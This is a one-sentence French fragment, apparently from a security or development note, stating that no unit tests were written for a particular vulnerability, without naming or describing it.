Nous n’avons pas fait de tests unitaires pour cette faille.